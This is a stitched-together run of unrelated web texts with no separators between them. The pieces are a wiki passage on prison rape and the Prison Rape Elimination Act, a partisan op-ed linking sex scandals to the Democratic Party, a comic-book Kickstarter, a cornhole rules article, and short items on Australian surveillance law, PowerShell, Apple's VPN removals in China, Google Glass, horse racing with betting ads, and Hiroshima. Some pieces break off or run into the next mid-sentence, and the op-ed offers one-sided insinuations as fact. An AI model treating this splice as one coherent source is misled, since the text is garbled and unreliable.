The overall goal of the study was to determine "whether RMA is a true barrier for incarcerated women" in terms of reporting behaviors. The results of the study showed that women who accepted rape myths were "98.1 times less likely" to report their sexual assault to the police. It is highlighted that "rape victims' mental health" is directly affected by whether or not they decided to report their sexual assault. It is disclosed that individuals that report their assault early on "can result in higher self-esteem and fewer post traumatic stress disorder (PTSD) symptoms." Since RMA is negatively correlated with a victim's reporting behavior, it can be said, "RMA is a barrier to psychological recovery and healing."[32]
Politics [ edit ]
The US has been proven to imprison, "a larger percentage of its population than any other country in the world except the Seychelles" whose population is 0.03% of the United States'. Inmates in America are, "at least three times more likely to have HIV/AIDS than the general US population". The authors of a study published in 2014 in Health Affairs, "surveyed the medical directors of the 50 state prison systems and 40 of the largest jails in the country" and "found that only 19% of the prison systems and 35% of the jails provided opt-out HIV testing". Those are tests in which all, "inmates are tested unless they specifically decline". Timothy Flanigan, a Brown University infectious disease specialist, pointed out that "other countries have a much more proactive approach" than the US. He added that, "unfortunately, our jail and prison systems are governed largely by cities and states": they're not federal. The privatization of correctional facilities can be harmful to the public health, the incentive to screen and treat inmates at a cost is low. Condoms are, "an inexpensive way to minimize the risk of HIV transmission in jails and prisons, but few state prison systems and only some of the largest jails provide them".[33]
People largely, deeply misunderstand the gravity of prison rape. There are many issues caused by rape in prison, including the fact that it, "undermines the authority structure in prison settings". Some victims, "find that sexual predators control their lives more so than...the institutional authority". The disturbingly high prevalence of rape in correctional facilities, "produces a perception in the general public that prisons are chaotic, not secure; jails and prisons should be places where crimes are paid for, not committed". It is also important to acknowledge that, "a rampant prison rape culture increases levels of violence in and out of prisons". Prison rape has, "long been recognized as a contributing factor in fights, homicides, insurrections, and other forms of institutional violence". Prison rape also creates a public health problem. Following traumatic events, "victims require physical and mental health treatment both while in prison and after they have been released". In addition, it also, "furthers the spread of communicable diseases, such as HIV, AIDS, tuberculosis, and hepatitis B and C, both in and out of prison". The, "physical and psychological problems resulting from prison rape also make it difficult for former inmates to keep steady jobs or to assimilate back into the normal routines of life".
One expert voiced that, "a high prevalence of prison rape results in "higher recidivism, more homeless [,] or at best individuals requiring some form of government assistance."" American society, "fails to see prison rape for the tragedy that it is, a tragedy affecting not only prisons and prisoners, but also society at large". Michael Horowitz, senior fellow at the Hudson Institute, is credited by many, "as being the creative force behind the prison rape legislation": PREA. He, "was influential in initiating the idea, developing the legislative language, and coordinating a groundswell of support for the bill from a diverse coalition of public interest, religious, and policy groups". The "diverse coalition included Amnesty International, Concerned Women of America, Focus on the Family, Human Rights Watch, Justice Policy Institute, NAACP, National Association of Evangelicals, Open Society Policy Center, National Council of La Raza, Prison Fellowship, Stop Prisoner Rape, and many other organizations". The legislation was created in attempt, "to change the attitudes and perceptions of government officials and people in the corrections field toward prison rape by making the prevention, investigation, and prosecution of prison rape a top priority throughout the nation's correctional facilities". While providing the foundation, "for the gathering of solid data on the extent of the prison rape problem" and helping, "corrections officials to make informed decisions as they attempt to eliminate it".[34]
Many human rights groups, such as the Human Rights Watch and Stop Prisoner Rape, have cited documented incidents showing that prison staff tolerate rape as a means of controlling the prison population in general.[34]
The topic of prison rape is common in American humor. Jokes such as "don't drop the soap" seem to suggest that prison rape is an expected consequence of being sent to prison. This phenomenon is exemplified by the 2006 U.S. feature film Let's Go to Prison or the board game Don't Drop the Soap being marketed by John Sebelius, the son of Kathleen Sebelius.[35] Songs have also been composed about the topic, e.g. the song "Prisoner of Love" by radio personalities Bob and Tom, performing as "Slam and Dave".[citation needed]
U.S. Federal law, under the Prison Rape Elimination Act of 2003, calls for the compilation of national prison rape statistics, annual hearings by a review panel, and the provision of grants to the states to address prison rape. A first, highly-controversial and disputed study, funded under the PREA by Mark Fleisher, concludes prison rape is rare: "Prison rape worldview doesn't interpret sexual pressure as coercion," he wrote. "Rather, sexual pressure ushers, guides or shepherds the process of sexual awakening."[36]
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This isn't about the staggering loss of seats in state governments. It's about the sex scandals that have enveloped Hollywood -- and now the media and Washington. What's even more shocking than the reprehensible conduct itself is how intimately entwined these scandals are with the Democratic Party's politics, its operatives and their tactics.
Let's start with Harvey Weinstein. One of the biggest Hollywood fundraisers for Democrats, he has become the poster boy for the most egregious sexual harassment and assault. As journalist Ronan Farrow has exposed, Weinstein's modus operandi included hiring high-powered attorneys like David Boies of Boies Schiller Flexner. Boies' law firm paid Black Cube -- an intelligence-gathering company Weinstein employed -- to dig up dirt on and silence potential accusers. According to Ronan Farrow, K2 -- another intelligence firm -- was hired by Elkin Abramowitz, also one of Weinstein's defense attorneys. K2's job was to ensure that Manhattan District Attorney Cyrus Vance Jr. -- a Democrat -- did not prosecute Weinstein after sexual assault charges were filed against him in New York. Vance was once employed by Abramowitz' firm, and has since drawn criticism for taking campaign contributions from lawyers "having dealings with his office."
Weinstein's attorneys also had his victims sign iron-clad nondisclosure agreements that effectively covered up his behavior.
As I wrote last week, David Boies' name appears with some frequency in these accounts. PBS and CBS host Charlie Rose was fired this past week after eight women came forward with sordid stories of sexual harassment and abuse of power. Lo and behold, who has turned up as one of Rose's former attorneys? None other than David Boies.
New York Times reporter Glenn Thrush has also been suspended following accusations of sexual misconduct involving younger women at the Times and Politico. Remember Glenn Thrush? His was one of many emails released by Wikileaks that demonstrated how far in the tank the media was for 2016 Democratic presidential candidate Hillary Clinton. Thrush sent a potentially negative story to Clinton campaign manager John Podesta for approval before publishing. Thrush's email read, in part, "Because I have become a hack I will send u the whole section that pertains to u (sic). Please don't share or tell anyone I did this."
The Wikileaks email dump also exposed that Donna Brazile -- at the time, a contributing political correspondent at CNN -- was feeding debate questions to Clinton in advance of the event. Brazile lost her position at CNN, and has now written a best-seller, "Hacks," in which she gives her take on why Clinton lost the election. Among her revelations: that the DNC was financially controlled and manipulated by the Clintons, to the political detriment of the other (and arguably more popular) Democratic candidate, Bernie Sanders.
Brazile stepped in as DNC chair after Debbie Wasserman Schultz resigned in disgrace, only to be scooped by Clinton and named "honorary" campaign chair. Wasserman Schultz's handsomely paid former IT staffer Imran Awan has since been indicted, and is suspected of selling sensitive data to Pakistanis and Russians.
Charles Manson's recent death brought disturbing reminders that even the Democratic Party's golden boy, Barack Obama, has unsavory alliances in his background. After the grisly murders of pregnant actress Sharon Tate and six others in July of 1969, Weather Underground founder Bernardine Dohrn said, "Offing those rich pigs with their own forks and knives, and then eating a meal in the same room. Far out! The Weathermen dig Charles Manson."
Manson and his followers were murderous lunatics. Bernardine Dohrn (along with her husband Bill Ayers) was a communist revolutionary and domestic terrorist responsible for multiple bombings. Dohrn expressed admiration for the Manson murders. And Barack Obama launched his political career in her living room.
The Democratic Party -- at least at the level of national leadership -- is riddled through and through with questionable affiliations, political scandals, sexual deviants and interconnected teams of lawyers and paid spies protecting them.
It's time for the Democrats to clean house.
New leadership needs to come from the grass roots -- mayors, city council and school board members -- fresh faces and people who step up from every walk of life to cleanse their party of the rot that has corrupted it for the past 40-plus years. No more Clintons, Podestas, Obamas, media shills, communist agitators or community organizers.
The Democratic Party is dead. Long live the Democratic Party.Click Here to Learn About the Black Wednesday Incentives
So there you have it!
This Kickstarter is for the first volume of the complete omnibus of Weapon Brown material. This volume contains Chuck's origin story "A Peanut Scorned", as well as the first half of "Blockhead's War", the story I recently concluded after several years of work. The next volume will finish Blockhead's War and also features short stories themed on the classic Peanuts holiday specials. Both volumes will include pin-ups and other bonus materials.
MEGA-SIZE IT!
Thanks to the donations of preppers and survivalists like you the initial funding goal has been met! But why wait for the second volume? If this campaign hits $17,000 I will publish the entire omnibus under one cover! That's nearly twice the book for the same price!
Where your money goes
I am trying to raise the money for printing 2000 units of this book using a professional offset printing company, so you will get the top quality paper and binding which is sometimes lacking in digital printing. In the book-binding game the costs are all front-loaded into the setup and printing of the first 1000 units (the minimum). Every quantity above that is considerably cheaper. I need enough units to fulfill my KS orders as well as have enough to get Weapon Brown into stores.
In addition, there are the costs associated with producing the incentive items, shipping, and of course, the grease that goes to Kickstarter. The costs included in my goal break down like this:
2000 Copies of Weapon Brown= $5400.00
Tees and other manufactured incentives= $1620.00
Shipping (estimated)= $2400.00
Limited edition incentive items= $1312.00
Incidentals (e.g., additional manufacturing, unanticipated shipping costs)= $500.00
This takes us to roughly $11,250, my break even point. The goal of $12,500 factors in The KS and Amazon fees.
(Fast-Forward to 6:10 to hear Max Scoville talk about Weapon Brown)
The Incentives
The biggest incentive is, of course, the awesome finished book! Let's imagine it together...
Wow! I can hardly wait! Then there are your tchotchkes: The stickers, magnets and postcards:
Fun for the whole Family Circus! But now we are getting into the good stuff. I'll break them down by pledge levels.
SNOOPY Level
This is where the T-shirts show up. You have a choice of three designs: (1) Chuck, (2) CAL-v.1N or (3) Pops! These silk screened, 100% cotton Gilden tees are available in all sizes, S-XXXL.
FLASH GORDON Level
The world of the future is a hard place, and it requires a hard book! At this level you will receive a hardcover edition of the Weapon Brown graphic novel, complete with dust jacket and a foil-stamped logo on the cover!
DOONSEBURY Level
This is for you complete-ists. This level compiles all the printed comics I have done, including all my Deep Fried work, my early superhero work for some scrappy independent publishers, filthy adult comix and some rare Deep Fried minis! That's over a dozen additional comics on top of the graphic novel!
GET FUZZY Level
My weirdest incentive! You'll get two dismemberable pipe cleaner dolls created just for this campaign by the dark geniuses at Chenillemacabre.com! Throw some fishing line on them and turn them into creepy Christmas tree ornaments!
APARTMENT 3-G Level
The folks at Bentcastle.com make doors! Little bitty doors that you can put on your shelf or hang on your wall (roughly 7" x 4"). Now they are turning their talents away from fairyland and towards the wasteland by creating the door that opens to Anne the Orphan's inner sanctum. What waits behind that door? Only Chuck knows... and so will you!
PRINCE VALIANT Level
I am cutting loose some of my cooler pages from the Weapon Brown saga to come live with you. It's killing me to do this, so please treat them nice and water them daily. They are all 11" x 17", pen&ink on Bristol board.
POINTY-HAIRED BOSS Level
This level includes a one-of-a-kind customized Mighty Mugg of Weapon Brown, complete with customized box and cute li'l plaz gun! Ever seen a Wolverine Mighty Mugg poop its pants? Bring THIS bad boy to the party!
MARMADUKE Level
Intimidate your friends! Vaporize your neighbors! The lucky dog who pledges this level gets a hand sculpted and painted life-size replica of Chuck's mighty plaz gun, complete with a plaque for wall-mounting.
"Plaz gun, you complete me."
GARFIELD Level
Want to be famous in the worst way? I've got the worst way to MAKE you famous! Star in a Weapon Brown short story!
I will create a new Weapon Brown tale just for the sake of showing you as a mercenary, mutant or some other sort of horrible thing. And you won't be some background character either! You will be front and center with lines and everything... Until Chuck kills you, which is the most likely outcome.
I'll gather photos of you so I can draw you just right, and I'll even let you suggest some ideas for how you are portrayed! Afterwards you'll get the art, and I'll make sure you get a copy of the comic in which this official story finally runs.
DADDY WARBUCKS Level
There can be only one! In addition to all the other goodies you'll reap at this level (including a piece of original artwork drawn just for you), you will get all 10 pages of "Blood Sportsmanship", a hand-lettered Weapon Brown story that has hung in publishing limbo for years. Another company has the first rights to run this story but hasn't chosen to do so. Until that happens, you and you alone will sit ringside as Chuck battles to the death in a gladiator fight against Hagar the Horrible!
ADD-ONs
A goody bag of the tchotchkes (magnet, stickers and postcard), or a T-shirt can be added on to any level. Just request it! The goodies are available for $5.00 and the tees for $20.00. And if you pledge more than you have to at a given level, who knows what I'll throw in?
Read an interview with me (Jason Yungbluth) on Ain't It Cool News!
STRETCH GOALS
1) $13,000
I'll add a pair of awesome desktop wallpapers to every level above the "Ziggy" level (because Ziggy just can't win).
2) $13,001
Ziggies get the wallpapers too.
3) $15,000
A set of five colored trading cards will be attached to all pledges at the "Mary Worth" level and up.
Why wait for volume 2? If my Kickstarter reaches this magic number, I will print the entire Weapon Brown omnibus under one cover! That's 396 big-ass pages!
5) $20,000
A new Weapon Brown holiday-themed short story will be added to the book!
6) $25,000
Additional pin-ups by some awesome popular artists! Can't tell you who yet, but the sooner you donate, the sooner you'll know!
6) $27,000
A 30-page, 5 1/2 x 8 1/2 black & white sketchbook with a color, cardstock cover will be added to all pledges at the "Mary Worth" level and above, featuring production artwork, new pin-ups by yours truly and more!
Omega Edition! What is that aardvark thing that Elmont and Alice are fighting over on page 147? What's so funny about the way Cancerbean dies? All will be revealed when I add page after page of annotations to the Weapon Brown graphic novel!
All Glory to the Overdog Edition!
The hardcover edition of the graphic novel will have an illustrated signature plate tipped in, numbered as one of a 1000-copy limited run!
Thanks for taking an interest in Weapon Brown!
Please visit Whatisdeepfried.com and have a look around. You can even read a lot of the Weapon Brown story in webstrip form! But really... don'cha want to touch it with your fingers?
(...And did you like the video? I'd like to thank Adam Nicholls for the awesome theme music and Alex Stern's gritty throat for the voice acting.)
Follow me on Facegoog and like me on Tweetbook!Cornhole (also known regionally as bags, sack toss, or bean bag) is a lawn game in which players take turns throwing bags of corn (or bean bags) at a raised platform with a hole in the far end. A bag in the hole scores 3 points, while one on the platform scores 1 point. Play continues until a team or player reaches or exceeds the score of 21.
Rules and regulations [ edit ]
Equipment and court layout [ edit ]
Cornhole matches are played with two sets of bags, two platforms and two to four players.[1]
There are four bags to a set. Each set should be identifiable from the other; different colors work well. The American Cornhole League's rules call for double-seamed fabric bags measuring 6 by 6 inches (150 by 150 mm) and weighing 15.5 to 16.5 ounces (440 to 470 g)[1] Although bags used to be filled with corn kernels (hence the name Cornhole), bags are nowadays usually filled with plastic resin.
Each platform is 2 by 4 feet (0.61 by 1.22 m), with a 6-inch (150 mm) hole centered 9 inches (230 mm) from the top. Each platform should be angled with the top edge of the playing surface 12 inches (300 mm) above the ground, and the bottom edge 3–4 inches (76–102 mm) above the ground. A regular court places the holes 33 feet (10 m) apart, or 27 feet (8.2 m) between the bottoms of the platforms. Shorter distances can be used when younger players are participating or there is not sufficient room.[1]
Bags are tossed from the pitcher's box, which is the rectangular area directly to the left or right of a platform. The bottom of the platform forms the foul line. Players may not step over the foul line while pitching.[1]
Gameplay [ edit ]
Cornhole matches are broken down into innings or frames of play.[1] During each frame, every player throws four bags. A player may deliver the bag from either the left or right pitcher's box, but, in any one inning, all bags must be delivered from the same pitcher's box. It is possible that both players can throw from the same pitcher's box. Also, the player gets a three-foot box to throw in. Each player must deliver the bag within twenty seconds. The time starts when the player steps onto the pitcher's box with the intention of pitching. The player who scored in the preceding inning pitches first in the next inning. If neither pitcher scores, the contestant or team who pitched last in the preceding inning pitches first in the next inning. Note: No foot can land past the front of the board until the corn bag leaves the hand, otherwise the point does not count. At the end of the round there is a 5-second window to allow beans to fall within the bag, possibly allowing additional points.
A typical cornhole board, with two colors of bag
Cornhole can be played as either doubles or singles. In doubles play, four players split into two teams. One member from each team pitches from one cornhole platform and the other members pitch from the other. The first side of players alternate pitching bags until both players have thrown all four of their bags, then the players pitching from the opposing cornhole board continue to alternate in the same manner until all four of their bags are delivered and the inning or frame is completed. In singles play, two players play against each other. Delivery is handled in the same manner as doubles play. Both contestants pitch from the same cornhole platform and alternate their pitches until all of their bags have been pitched, completing the inning or frame.[2]
Scoring [ edit ]
In order to score, the bags must either be tossed into the hole or land on the board. A bag that falls through the hole is worth three points. The bag can be tossed directly into the hole, slide into the hole, or be knocked into the hole by another bag. A bag that lands on the board and is still on the board at the end of the inning is worth one point. If a bag touches the ground and comes to rest on the board, it is removed from the board prior to continuation of play and not worth any points. Usually, cancellation scoring is used.
In the common version of cancellation scoring, the total score for each team for the inning is totalled each round, and then the difference of the two scores is awarded to the team with the higher score. It is thus only possible for one team to score points each inning. For example, if one team lands two bags in the hole and one on the board for 7 points, and the other team lands one bag in the hole and two on the board for 5 points, 5 points from the round would cancel out, and the first team would thus score 2 points. Because only one team can score points in each inning, it is impossible for teams to reach or exceed 21 points in the same inning, and therefore ties are impossible.
A cornhole match is played until the first player or team reaches twenty-one points at the completion of an inning. The winning team does not need to win by two or more points.[2]
An uncommon version of scoring also includes a 2-point option. A bag is worth 2 points if it is on the board and hanging over the hole, but has not fallen through the hole.
Other scoring variations require one team to earn exactly twenty-one points to win. If a team's score exceeds 21 after any inning, the result differs among various house rules. Options include that the team must return to fifteen points, that the team must return to their prior score, that the team must return to their prior score and deduct one point from that score, and that the team must return to their prior score and deduct from that the number of points they scored in the most recent inning. In some variations, if a team's score goes over 21 three times before their opponents reach or exceed 21, they win the match.
History [ edit ]
The game described in Heyliger de Windt's 1883 patent for "Parlor Quoits" displays most of the features of the modern game of "cornhole", but with a square hole instead of a round one.[3] Quoits is a game similar to horseshoes, played by throwing steel discs at a metal spike. De Windt's patent followed several earlier "parlor quoits" patents that sought to recreate quoit game-play in an indoor environment.[4] His was the first to use bean-bags and a slanted board with a hole as the target.
He sold the rights to the game to a Massachusetts toy manufacturer that marketed a version of the game under the name "Faba Baga".[4] Unlike the modern game, which has one hole and one size of bags, a "Faba Baga" board had two different-sized holes, worth different point values, and provided each player with one extra-large bag per round, which scored double points.
The modern game of cornhole, known more commonly as bean bags or just bags in the Chicago area, was likely spread after an article on how to make the boards was published in Popular Mechanics magazine in September 1974. The game spread in Chicago, Illinois, and the Northwest region of Indiana in the late 1970s and early 1980s.
The American Cornhole League offers multiple divisions of skill levels and has been featured on multiple ESPN broadcasts.[1]
Variations [ edit ]
Smaller versions, with scaled-down board, bags, and holes are available for indoor and child use from a variety of vendors.
Since 2008, a miniature version of cornhole has been marketed under the trademark Coinhole. It uses miniaturized tabletop boards, and American quarters in lieu of beanbags.[5] Unlike beanbags, which are tossed directly at a cornhole board, the coins are bounced off of the surface on which the board sits and then onto the board – as in the traditional drinking game called quarters, in which a coin bounced into a drinking glass. The rules of game play for Coinhole are otherwise the same as for traditional cornhole – 3 points are earned for a quarter in the hole and 1 point for a quarter on the board.[6]
Terminology [ edit ]
The following is a list of terms commonly used in cornhole:
Ace or cow pie: A bag lands on the board, which is worth one point. [7] [8]
Airmail: A beanbag that does not slide or bounce on the board but goes directly into the hole.
Back door or Dirty Rollup: A cornhole that goes over the top of a blocker and into the hole. [7] [8]
Backstop: A bag that lands past the cornhole but remains on the board creating a backboard for a slider to knock into without going off the board. [7]
Blocker: An ace that lands in front of the hole, essentially blocking the hole from sliders. [7] [8]
Cornfusion: When players or teams cannot agree on the scoring of a given inning. [7]
Cornhole or Drano: A bag that falls in the hole, which is worth three points. [7] The alternative name is a reference to a trademark, that of a sink clog clearing product.
The alternative name is a reference to a trademark, that of a sink clog clearing product. Cornholio same as grand bag or as just cornhole, depending on region; named for the alter-ego of the character Beavis in the animated TV series Beavis and Butt-Head.
or as just, depending on region; named for the alter-ego of the character Beavis in the animated TV series. Cornucopia: Achieved when a player throws all four bags into the hole in one inning.
Dirty bag: A bag that is on the ground or is hanging off the board touching the ground. [8]
Flop: Type of toss that didn’t spin the bag horizontally or vertically. Without rotation or spin. [9]
Grasshopper: A bag that bounces off the grass or ground and lands on the board for a point. [8]
Screaming eagle, Eddie the eagle: A bag that goes beyond the board without hitting the board. Screeching like an eagle is an additionally accepted reaction to making such a mistake. [7] [8]
Slippery granny: Scoring three bags in a row on the board only. [7]
Grand bag, double deuce, Jumanji, catorce four-bagger or four-pack: Four cornholes by a single player in a single round. [7] There is a tradition in some areas where any casual player who puts all four bags in the hole on a single turn gets to sign the board, often with some type of ceremony and recognition.
There is a tradition in some areas where any casual player who puts all four bags in the hole on a single turn gets to sign the board, often with some type of ceremony and recognition. Trip Dip: When a single player cornholes 3 out of the 4 bags in a single round.
Hanger or shook: An ace on the lip of the hole ready to drop. [7] [8]
Honors: The team who tosses first, resulting from the team scoring last. [8]
Hooker: A bag hitting the board and hooking or curving around a blocker and going in the hole. [7]
Jumper: A bag that strikes another bag on the board causing it to jump up into the cornhole. [7]
Madden: when a player violently throws the bag at the opposing player.
Perrego: When a player refuses to play Baggo because they're intimidated by their competitors. [7]
Police: The cornhole referee. [7]
Sally or corn patty: A toss that is thrown too weakly and lands on the ground before reaching the board. [7]
Shortbag: When a bag lands on the ground just before the cornhole board. [9]
Shucker: When a player pitches a bag and it strikes an opposing players bag knocking it off the board. [7]
Skunk, whitewash or shutout: A game that, by some rules, ends in an 11–0 score. [7] [8]
Slider: A cornhole that slides into the hole. [7] [8]
Swish: A bag that goes directly in the hole without touching the board. More often referred to as 'Airmail' [8]
Shotgun: Throwing all your bags at once. [7]
Wash: When each team has scored exactly the same number of points in an inning, thereby "washing out" all points scored in the inning.
See also [ edit ]blog The Federal Senate inquiry into the potential reform of Australia’s surveillance laws set up by the Greens and Labor earlier this year has been quiet for a while, but you can bet that things are bubbling along in the background as law enforcement agencies try to work out how to use the proceedings to gain extra surveillance powers and privacy advocates try to work out how to block them. Into this miasma comes David Leyonhjelm, the new Senator-Elect for the Liberal Democrats, who will take his chair in just six short weeks. In a piece for the Financial Review newspaper late last week, Leyonhjelm makes it very clear where his party will stand on this issue: In opposition to data retention and similar initiatives which erode Australians’ privacy. Leyonhjelm writes (we recommend you click here for the full article):
“It is high time the police and security agencies rediscovered their status as public servants, not public masters, and returned to professional police work … The Liberal Democrats are strongly opposed to any loss of liberty at the hands of the government and its agencies, no matter what justification is offered. As a senator, I will strongly resist this and any similar proposals.”
It’s not a surprise that Leyonhjelm has decided to take this approach. A cursory glance at the somewhat dilapidated website of the Liberal Democrats shows that the party has long been opposed to measures which erode Australians’ privacy. However, Leyonhjelm’s stance is very welcome. We live in an era where both the major parties — Labor and the Coalition — have strongly supported data retention and other intrusive surveillance measures generally proposed by the Attorney-General’s Department. In this context, it has largely been the Greens who have represented the clear concerns of Australians on this issue and attempted to shine some light on the topic, as well as holding the law enforcement authorities accountable.
Although he’s just one Senator, Leyonhjelm will play a role in the new Senate in holding the balance of power. And more dissenting voices on this topic are sorely needed.
Image credit: Terjepetersen, GNU Free Documentation LicensePowerShell v6 Alpha 17 has been released and contains an interesting change with the version parameter when applied to powershell.exe. Some discussion around it can be found here and here.
When using a Linux based shell, supplying the version parameter returns the version of the shell:
View the code on Gist.
You can now do a similar thing in PowerShell Core:
View the code on Gist.
Note that using $psversiontable still gives you fuller information:
View the code on Gist.
This is slightly different from the pre-v6 PowerShell version on Windows where the version parameter requires an argument:
For example, you can start PowerShell version 2 from a PowerShell version 5.1 console:
View the code on Gist.
There’s discussion in the Github issues about whether that particular functionality of running different PowerShell versions will be taken forward in PowerShell Core.Headache? Tense nervous headache? Perhaps your name is Tim Cook. For poor Tim has woken up this Sunday morning with a giant headache, and its name is China.
Yesterday Apple removed all major VPN apps from its App Store in the country. These VPNs aided internet users there to get around the government’s vast system of censorship and access uncensored sources of media. But by doing so, Apple has clearly decided to put its business before the interests of the population, opposition leaders and activists.
For example, Golden Frog, which makes privacy and security software including VyprVPN, was just one of several providers who said its software had been unceremoniously dumped from the App store. This was even after the company had supported Apple in their backdoor encryption battle with the F.B.I. last year. There’s loyalty for you.
Another, ExpressVPN, a provider based outside of China, said “all major VPN apps” including its own had been purged from Apple’s China-based store. Apple had told them that its app was removed because “it includes content that is illegal in China.” That’s semantics. The ‘illegal content’ referred to is the operation of an unlicensed VPN, a requirement which came in January. Will China ever license a VPN for users to circumvent its censorship? I think you can think of the answer to that one.
This is no small matter. This is the first time China has won the battle to pressure a major foreign tech platform to get rid of software that helped people tunnel out of China’s restrictive version of the Internet.
Is it as simple as that? This is where Tim’s headache comes in. Apple’s business in China is huge, but under pressure.
Apple’s Chinese market share and shipment volume fell for the first time last year. According to market data from IDC for 2016, Apple had a year-on-year decline in China with the tech giant’s shipments volume to China falling from 58.4 million units in 2015 to 44.9 million in 2016. Its market share dropped 4 points to 9.6 percent, even as the whole Chinese smartphone market actually grew 9 percent for the full year.
China’s leading phone vendors OPPO, Huawei and vivo are happily breathing down Tim’s neck in the ever-quickening pace of China’s mobile market.
Furthermore, this year research came out that said Apple was at risk of falling out of the top 5 smartphone vendors in China, with local brand Xiaomi snagging the fourth-place spot that was previously held by Apple, according to Canalys. The next iteration of the iPhone could help it revive its influence, but that remains to be seen. Meanwhile, Xiaomi, Huawei and others are building out their own Siri competitors, which, as Amazon Alexa has shown, is one of the next waves of computing.
So we can see where Mr Cook is under pressure. China is Apple’s second market after the US and has far more potential for growth. To stay in the country he must walk a delicate balancing act with the famously restrictive authorities, while growing sales.
But, like a captain navigating his ship between two large rocks, he’s about to get well and truly stuck.
Apple can’t afford to pull out of China, and in theory it can’t afford to piss-off the government by allowing access to unlicensed VPN apps.
That leaves those that want to ‘see’ outside of China via a phone needing to either jailbreak their iPhones or switch to version of Android with less oversight. The GreatFire company offers ‘censorship-proof’ alternatives like its Android VPN FreeBrowser. But the pickings in this area are slim.
Google doesn’t have quite the same political headache as Apple. It can always take the “we can’t control all these Android flavours as easily, sorry guys!” approach.
But perhaps the biggest headache Tim has is that Apple not have a leg to stand on when it is once again confronted with governmental censorship elsewhere.
How will Apple now argue against the Trump administration effectively, after cow-towing to China in this fashion?
When next Apple must face-off with this intransigent White House over criminality or terrorism attacks at home, any protestations they make will be empty after their capitulation in China.
There is really only one way out: Apple should have stood its ground. It should have relied on its standing in the market as the provider of the most sought after, premium, mobile device.
If the indications are anything to go by, Apple’s entrance into AR & VR could make the next iPhone the hottest device since the first one. Why not make a government think twice before attracting the intense ire of their tech-hungry populations?
In sticking to its principles, Apple would have been able to hold its head high in the US and globally. It could have maintained its brand values amongst its devoted user-base around the world.
What’s the name of the pill to cure Tim’s oncoming headache? Its called resolve.Diane Von Furstenberg may be better known for wrap dresses than wraparound shades, but her fashion label has actually been a long-term collaborator with Google Glass. The partnership has now resulted in a new "DVF" collection of Glass options, including five new frames and eight new shades with which to customize (and perhaps soften) your futuristic appearance. They'll be available to Explorers in the US from June 23rd, both via Google's own site and from Net-a-porter, although there's no word on how much extra you'd need to spend beyond the $1,500 cost of the beta device itself. On the same day, Google's own Titanium collection will also become available through the Mr Porter online store. Meanwhile, we're still waiting on more sporty options from the likes of Oakley and Ray-Ban, although these might not arrive until Google Glass finally shifts into full commercial mode.Dalek "Exterminate" CampaignOriginally, this graphic was used on a shirt and sold through Zazzle. I have recently faced issues with Zazzle staff and they have closed my account and withheld my earnings, so the shirt is no longer available. Likewise, I know there is a print request for this, but I will NOT be making this available for print or any sort of purchase. Sorry. Also, the original, un-watermarked version will not be made available to the public. Sorry.--I used the RadioTimes cover with the Dalek image blown up to 300dpi as a base image. I did the entire graphic in Photoshop 7. It took 9 hours but I think it was worth it. Especially after seeing it on a shirt (pix later)--The graphic is an original design by Stephen Perreira based on the Dalek's and their catchphrase from the BBC TV show Doctor Who, in the style of Shepard Fairey's Obama "Hope" design.Daleks were created by Terry Nation, and the Doctor Who/Dalek are copyright by the British Broadcasting Corporation/Terry Nation. The Doctor Who and Dalek word mark are trademarks of the British Broadcasting Corporation and Terry Nation.Graphic design by S. Perreira, [link]*Conditions Apply. Excl VIC, NSW, SA & WA. Gamble Responsibly
New restrictions on horse movement between Australia and Hong Kong threaten Australian participation in international events in the Asian racing capital.
The Hong Kong Jockey Club has expressed its disappointment at the decision by the Australian Government’s Department of Agriculture and Water Resources to suspend horse movement pending a review of biosecurity protocols related to the Equine Disease Free Zone between Hong Kong and Conghua on the Chinese mainland.
The DAWR has informed the Hong Kong Agriculture, Fisheries and Conservation Department it intends to suspend horse movements to Australia from October 2.
The HKJC is scheduled to open the Conghua Training Centre in the third quarter of 2018.
The club said the implications include:
* Horses cannot be transported directly from Hong Kong to Australia for participation in racing events or for retirement purposes.
* Australian horses will not be permitted to travel to compete in Hong Kong’s international races.
* Hong Kong horses transported to Australia via New Zealand will require 180 days residency in New Zealand.
Horse movements to and from Hong Kong in relation to other countries are unaffected with horses from every jurisdiction other than Australia still be able to travel and compete in Hong Kong under the same conditions as have previously existed.
Horses bought in Australia for permanent export to Hong Kong are not affected by the DAWR decision.
“This is a highly prejudicial action and it is at odds with the substantial economic relationship between the racing, breeding and wagering sectors of Australia and Hong Kong, which has existed for many years,” HKJC executive director, Racing Authority Andrew Harding said.
“”DAWR’s review of the EDFZ must be carried out swiftly so that regular horse movements from Hong Kong to Australia can be resumed in a timely manner and we are in discussions both directly with DAWR and through the Australian Consulate-General to ensure that this occurs.
“Furthermore, the Club’s stable operations team will work with owners to find alternative retirement locations during this period.”
The HKJC statement said the DAWR was formally notified in March, 2016 of trial horse movements utilising the EDFZ.
In total 19 horses have been moved over an 18-month period.
The movements were planned and conducted with the supervision of the AFCD, Chinese Mainland veterinary authorities (Guangdong CIQ and the Ministry of Agriculture) and the Customs and Immigration authorities of both jurisdictions.
“Given that the Australian chief veterinary officer did not express any concerns 18 months ago when he was officially informed about the first trial it is impossible to see how DAWR can now say that these trials are the basis for imposing an immediate ban on direct imports from Hong Kong to Australia,” Harding said.
The HKJC hosts runners from all over the world at its International meeting in December
Chautauqua is the last Australian horse to win a major race in Hong Kong, taking out the Group One Chairman’s Sprint in May last year.
$100 in Bonus Bets Deposit $20 & receive $100 in racing bonus bets. That's $120 to bet with!*
*Conditions Apply. Excl VIC, NSW, SA & WA. Gamble ResponsiblyWith 2012 year winding down, we have started looking ahead to 2013 and what look to be our most anticipated films. Here is our current list of can’t-wait-to-see movies slated to hit the theatres next year.
25. Evil Dead remake (April 2013)
While the cast contains all B-List/unknown actors, the movie looks absolutely horrifying |
come under nuclear attack.
72 years ago
On Aug. 6, 1945, the atomic bomb dropped by the Enola Gay Boeing B-29 detonated, killing an estimated 140,000 people. Three days later, the U.S. dropped a second bomb on the city of Nagasaki, killing an estimated 75,000. Within weeks, Japan surrendered.
Last year, then-President Obama became the first U.S. president to visit Hiroshima, where he called for an end to nuclear weapons. That visit provoked the ire of then-candidate Trump.
"Does President Obama ever discuss the sneak attack on Pearl Harbor while he's in Japan? Thousands of American lives lost," Trump tweeted.
So far, the Trump administration has focused on a denuclearized North Korea over a denuclearized world.
In February Trump told Reuters that "if countries are going to have nukes, we're going to be at the top of the pack."
Sanctions appear to be the current international tool of choice for taking on North Korea.
A day before the Hiroshima anniversary, the United Nations Security Council unanimously voted to impose new sanctions on North Korea over last month's long-range missile tests.
